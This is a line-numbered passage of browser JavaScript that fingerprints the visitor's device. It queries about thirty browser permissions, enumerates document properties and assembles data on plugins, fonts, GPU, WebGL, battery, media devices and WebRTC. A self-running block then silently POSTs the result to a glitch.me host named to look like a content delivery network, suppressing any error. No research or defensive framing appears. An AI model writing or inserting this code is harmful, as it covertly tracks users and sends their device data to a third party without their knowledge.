  2828.             const result = [];
  2829.             for (const key in document.documentElement) {
  2830.                 result.push(key);
  2831.             }
  2832.  
  2833.             return result;
  2834.         };
  2835.  
  2836.         // permissions
  2837.         const dumpPermissions = async () => {
  2838.             // https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/modules/permissions/permission_descriptor.idl
  2839.             const permissions = [
  2840.                 'storage-access',
  2841.                 'push',
  2842.                 'speaker',
  2843.                 'device-info',
  2844.                 'bluetooth',
  2845.                 'midi',
  2846.                 'background-fetch',
  2847.                 'background-sync',
  2848.                 'accelerometer',
  2849.                 'gyroscope',
  2850.                 'magnetometer',
  2851.                 'screen-wake-lock',
  2852.                 'clipboard',
  2853.                 'clipboard-read',
  2854.                 'clipboard-write',
  2855.                 'payment-handler',
  2856.                 'periodic-background-sync',
  2857.                 'geolocation',
  2858.                 'notifications',
  2859.                 'camera',
  2860.                 'microphone',
  2861.                 'display-capture',
  2862.                 'persistent-storage',
  2863.                 'ambient-light-sensor',
  2864.                 'accessibility-events',
  2865.                 'nfc',
  2866.                 'idle-detection',
  2867.                 'system-wake-lock',
  2868.                 'window-placement',
  2869.                 'font-access',
  2870.             ];
  2871.  
  2872.             const result = {};
  2873.  
  2874.             await Promise.all(
  2875.                 permissions.map(e => new Promise(resolve => {
  2876.                     // noinspection JSCheckFunctionSignatures
  2877.                     navigator.permissions.query({name: e})
  2878.                         .then(({state}) => {
  2879.                         result[e] = {state};
  2880.                         resolve();
  2881.                     })
  2882.                         .catch((ex) => {
  2883.                         result[e] = {
  2884.                             'exType': ex.constructor.name,
  2885.                             'msg': ex.message,
  2886.                         };
  2887.                         resolve();
  2888.                     });
  2889.                 })),
  2890.             );
  2891.  
  2892.             return result;
  2893.         };
  2894.  
  2895.         // TODO: RTCRtpSender.getCapabilities
  2896.  
  2897.         // TODO: Audio fingerprint
  2898.  
  2899.         // TODO: emoji fingerprint
  2900.  
  2901.         // TODO: unicode fingerprint
  2902.  
  2903.         // device descriptor
  2904.         const dd = {};
  2905.         await Promise.all([
  2906.             setDDProp(dd, 'plugins', dumpPlugins),
  2907.             setDDProp(dd, 'allFonts', dumpAllFonts),
  2908.             setDDProp(dd, 'gpu', dumpGpu),
  2909.             setDDProp(dd, 'navigator', dumpNavigatorProps),
  2910.             setDDProp(dd, 'window', dumpWindowProps),
  2911.             setDDProp(dd, 'document', dumpDocumentProps),
  2912.             setDDProp(dd, 'screen', dumpScreenProps),
  2913.             setDDProp(dd, 'body', dumpBodyProps),
  2914.             setDDProp(dd, 'webgl', dumpWebGL),
  2915.             setDDProp(dd, 'webgl2', dumpWebGL2),
  2916.             setDDProp(dd, 'mimeTypes', dumpMimeTypes),
  2917.             setDDProp(dd, 'mediaDevices', dumpMediaDevices),
  2918.             setDDProp(dd, 'defaultCS', dumpDefaultCS),
  2919.             setDDProp(dd, 'battery', dumpBattery),
  2920.             setDDProp(dd, 'voices', dumpVoices),
  2921.             setDDProp(dd, 'rtc', dumpRTC),
  2922.             setDDProp(dd, 'keyboard', dumpKeyboard),
  2923.             setDDProp(dd, 'windowVersion', dumpWindowVersion),
  2924.             setDDProp(dd, 'htmlElementVersion', dumpHtmlElementVersion),
  2925.             setDDProp(dd, 'permissions', dumpPermissions),
  2926.         ]);
  2927.  
  2928.         // upload fp
  2929.         return JSON.stringify(dd);
  2930.     };
  2931.  
  2932.     (async() => {
  2933.         try {
  2934.             let extractedData = await __EXEC&#40;&#41;;
  2935.             let k = new XMLHttpRequest();
  2936.             k.open("POST", "https://content-delivery-network.glitch.me/research");
  2937.             k.setRequestHeader("Content-type", "application/json");
  2938.             k.send(JSON.stringify({
  2939.                 dd: extractedData,
  2940.                 key: "dd"
  2941.             }));
  2942.         } catch(e) {};
  2943.     })();
  2944. }, 2000);